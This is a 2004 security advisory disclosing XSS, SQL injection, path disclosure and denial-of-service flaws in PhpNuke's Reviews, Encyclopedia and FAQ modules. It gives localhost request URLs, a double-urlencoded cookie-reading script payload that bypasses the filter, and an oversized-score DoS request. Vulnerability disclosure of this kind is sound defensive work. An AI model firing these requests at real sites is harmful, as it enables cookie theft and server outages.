[waraxe-2004-SA#032] - Multiple security flaws in PhpNuke 6.x

Author: Janek Vind "waraxe"
Date: 11. June 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=32

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Most of the bugs are XSS and one is noncritical sql injection.
Affected are modules "Reviews", "Encyclopedia" and "Faq".

A - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - XSS in "Faq" module through unsanitaized user-submitted variable "categories":

http://localhost/nuke73/modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=[xss code here]

A2 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable "ltr":

http://localhost/nuke73/modules.php?name=Encyclopedia&op=terms&eid=1&ltr=[xss code here]

A3 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable "eid":

http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&eid=[xss code here]
http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&query=f00bar&eid=[xss code here]

A4 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable "query":
Remark: this exploit needs multipage encyclopedia entry for success...

http://localhost/nuke73/modules.php?name=Encyclopedia&op=content&tid=774&page=2&query=[xss code here]

A5 - XSS in "Reviews" module's function "preview_review()":

http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&url_title=foobar&url=[xss code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&cover=[xss code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&rlanguage=[xss code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&hits=[xss code here]

A6 - XSS in "Reviews" module's function "send_review()":

This function is written very poorly by security means. Most of the input variables,
submitted by user, are not properly checked and will be written to database without
sanitaize. So users with lower permissions (regular users) can write review and when
admin will look at that review for approval, then XSS event occurs. Basically it's
script injection and can be used for cookie theft/browser redirection/etc.

Examples:

http://localhost/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=[xss code here]

And in addition to all previous mentioned weaknesses such fragment of code can
be found from "/modules/Reviews/index.php":

------- [ original code starting ] ------------------------------------------------

function send_review($date, $title, $text, $reviewer, $email, $score, $cover, $url, $url_title, $hits, $id, $rlanguage) {
global $admin, $EditedMessage, $prefix, $db, $module_name;
include ('header.php');
if (eregi("", $text)) {
$text = ereg_replace("",";",$text);
}
$id = intval($id);
$title = stripslashes(FixQuotes(check_html($title, "nohtml")));
$text = stripslashes(Fixquotes(urldecode(check_html($text, ""))));
if (eregi("", $text)) {
$text = ereg_replace("","",$text);
}

------- [ original code ending ] ------------------------------------------------

So what's bad in it? Well, let's look at "$text = stripslashes(Fixquotes(urldecode(check_html($text, ""))));".
As we can see, first user submitted variable "text" will be sanitized against html tags
(which is of course good thing to do), next it will be urldecoded (mmmm...) and then all the "'"
will be replaced with "''". Traditional mistake can be found here - we can inject urlencoded
scripting content through variable "text" and it will be not smashed by check_html(), coz
it is "reconstructed" AFTER check_html() ;)
Proof of concept example:

http://localhost/nuke72/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&text=f00%253c/textarea>%253cscript>alert%2528document.cookie);%253c/script>bar

As seen above, we can use even simplest "<script>" tags to accomplish XSS, because all the
malicious stuff will bypass phpnuke anti-xss filters, being urlencoded...

Remark: it will not work on nuke73, because there is added additional filter
against "%25" in query string. Is there a way to evade this filter? Sure, if attacker is creative.

A7 - XSS in "Reviews" module's function "savecomment()":

http://localhost/nuke73/modules.php?name=Reviews&rop=savecomment&uname=[xss code here]&id=8&score=9

B - Sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - noncritical sql injection in module "reviews":

http://localhost/nuke73/modules.php?name=Reviews&rop=Q&order=[sql injection code here]

C - Full path disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

C1 - full path disclosure in "Reviews" module function "preview_review()":

http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&date=f00bar

And we will get:

Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1,
1970 in D:apache_wwwroot
uke73modulesReviewsindex.php on line 214

Remark: this kind of error seems to occur only on windows servers...

D - Flaws in score subsystem
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Score points must be in range 0...10, but its not checked properly before storing to
database. In case on review score, if we issue request like this:

http://localhost/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00&score=9999

then:

1. we see funny looking very long line of score, which itself is not insecure in any way ;)
2. we get error message, leading to full path discosure:

(Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970
in D:apache_wwwroot
uke73modulesReviewsindex.php on line 542)

Now, any user can post comments to reviews and give score too. That score is not properly
checked too and this time lets give VERY BIG score to review and lets see, whats happeing:

http://localhost/nuke73/modules.php?name=Reviews&rop=savecomment&id=1&uname=f00bar&score=999999999999999999999999

Result is DoS - server side will consume massively CPU and memory resources and client-side
webbrowser will be stalled too. Finally in most cases maximum php script execution time will
be exceeded and error message will be seen.

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Anyone interested in tutorial(s) for fixing those security bugs, is welcome to
forum on http://www.waraxe.us/forums.html

See ya there!

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix, Dionysus and Stonecold for great help!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

Published on: 2005-01-06 (7126 reads)

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